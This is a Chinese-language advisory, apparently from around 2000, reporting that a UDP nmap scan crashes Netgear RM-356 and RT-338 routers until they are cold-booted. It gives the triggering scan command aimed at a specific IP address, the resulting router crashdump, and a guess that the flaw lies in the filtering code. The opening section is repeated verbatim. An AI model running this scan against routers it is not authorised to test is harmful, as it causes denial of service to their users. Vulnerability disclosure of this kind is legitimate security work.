RM-356是Netgear开发的硬件路由器,适用于家庭或小型办公网络。 UDP扫描会导致RM-356、RT-338崩溃。需要冷启动才可恢复正常。 # nmap -sU 210.9.238.103 -T5 此时RM-356的主控台发生crashdump,信息如下 Menu 24.2.1 - System Maintenance - Information Name: *******_netgear Routing: IP RAS F/W Version: V2.21(I.03) | 3/30/2000 MODEM 1 F/W Version: V2.210-V90_2M_DLS Country Code: 244 LAN Ethernet Address: 00:a0:c5:e3:**:** IP Address: 192.168.0.1 IP Mask: 255.255.255.0 DHCP: Server CRASHDUMP:: 54f7a0: 00 54 f7 a8 00 21 e9 38 00 54 f8 10 00 21 e9 38 .T...!.8.T...!.8 54f7b0: 00 00 00 07 00 41 37 bc 00 2b 09 ca 00 00 00 00 .....A7..+...... 54f7c0: 00 55 24 4c 00 2b 09 b2 00 00 00 00 00 55 24 4c .U$L.+.......U$L 54f7d0: 00 00 00 05 00 00 00 00 00 21 16 24 00 57 26 04 .........!.$.W&. 54f7e0: 00 58 5e e8 00 21 16 24 00 00 26 04 00 21 16 24 .X^..!.$..&..!.$ 54f7f0: 00 41 20 00 00 54 f8 10 00 21 ea 34 00 41 20 00 .A ..T...!.4.A . 54f800: 00 00 00 07 ff ff ff ff 00 54 f8 10 00 21 e6 6e .........T...!.n 54f810: 00 54 f8 2c 00 21 e6 6e 00 41 37 bc ff ff ff ff...
RM-356是Netgear开发的硬件路由器,适用于家庭或小型办公网络。 UDP扫描会导致RM-356、RT-338崩溃。需要冷启动才可恢复正常。 # nmap -sU 210.9.238.103 -T5 此时RM-356的主控台发生crashdump,信息如下 Menu 24.2.1 - System Maintenance - Information Name: *******_netgear Routing: IP RAS F/W Version: V2.21(I.03) | 3/30/2000 MODEM 1 F/W Version: V2.210-V90_2M_DLS Country Code: 244 LAN Ethernet Address: 00:a0:c5:e3:**:** IP Address: 192.168.0.1 IP Mask: 255.255.255.0 DHCP: Server CRASHDUMP:: 54f7a0: 00 54 f7 a8 00 21 e9 38 00 54 f8 10 00 21 e9 38 .T...!.8.T...!.8 54f7b0: 00 00 00 07 00 41 37 bc 00 2b 09 ca 00 00 00 00 .....A7..+...... 54f7c0: 00 55 24 4c 00 2b 09 b2 00 00 00 00 00 55 24 4c .U$L.+.......U$L 54f7d0: 00 00 00 05 00 00 00 00 00 21 16 24 00 57 26 04 .........!.$.W&. 54f7e0: 00 58 5e e8 00 21 16 24 00 00 26 04 00 21 16 24 .X^..!.$..&..!.$ 54f7f0: 00 41 20 00 00 54 f8 10 00 21 ea 34 00 41 20 00 .A ..T...!.4.A . 54f800: 00 00 00 07 ff ff ff ff 00 54 f8 10 00 21 e6 6e .........T...!.n 54f810: 00 54 f8 2c 00 21 e6 6e 00 41 37 bc ff ff ff ff .T.,.!.n.A7..... 54f820: ff ff 20 04 00 5e 2e 60 00 40 f7 20 00 54 f8 68 .. ..^.`.@. .T.h 54f830: 00 21 b0 00 00 00 00 01 00 2b 09 ca ff ff ff ff .!.......+...... 54f840: 00 00 00 07 00 2b 09 b2 00 5e 2e 60 00 00 00 00 .....+...^.`.... 54f850: ff ff ff ff 00 00 00 00 00 00 00 00 00 54 f9 9c .............T.. 54f860: 00 5e 2e 60 00 00 00 00 00 54 f8 a8 00 21 a8 1a .^.`.....T...!.. 54f870: 00 00 00 07 ff ff ff ff 00 5e 2e 60 00 00 00 00 .........^.`.... 54f880: 00 00 00 08 00 00 00 00 00 00 00 21 00 00 00 24 ...........!...$ 54f890: 00 00 00 00 00 54 f9 9c 00 5f ec d0 00 55 24 4c .....T..._...U$L 54f8a0: 00 55 24 4c 00 5e 2e 60 00 54 f8 fc 00 23 b8 42 .U$L.^.`.T...#.B Boot Module Version : 4.40. Built at Wed Feb 23 14:00:29 2000 但是TCP connect()扫描正常。 值得注意的是,即使SNMP 161/UDP并未开放,上述扫描同样会导致崩溃。问题可能位 于过滤代码中。绝大多数SOHO Netgear设备有简单的过滤机制。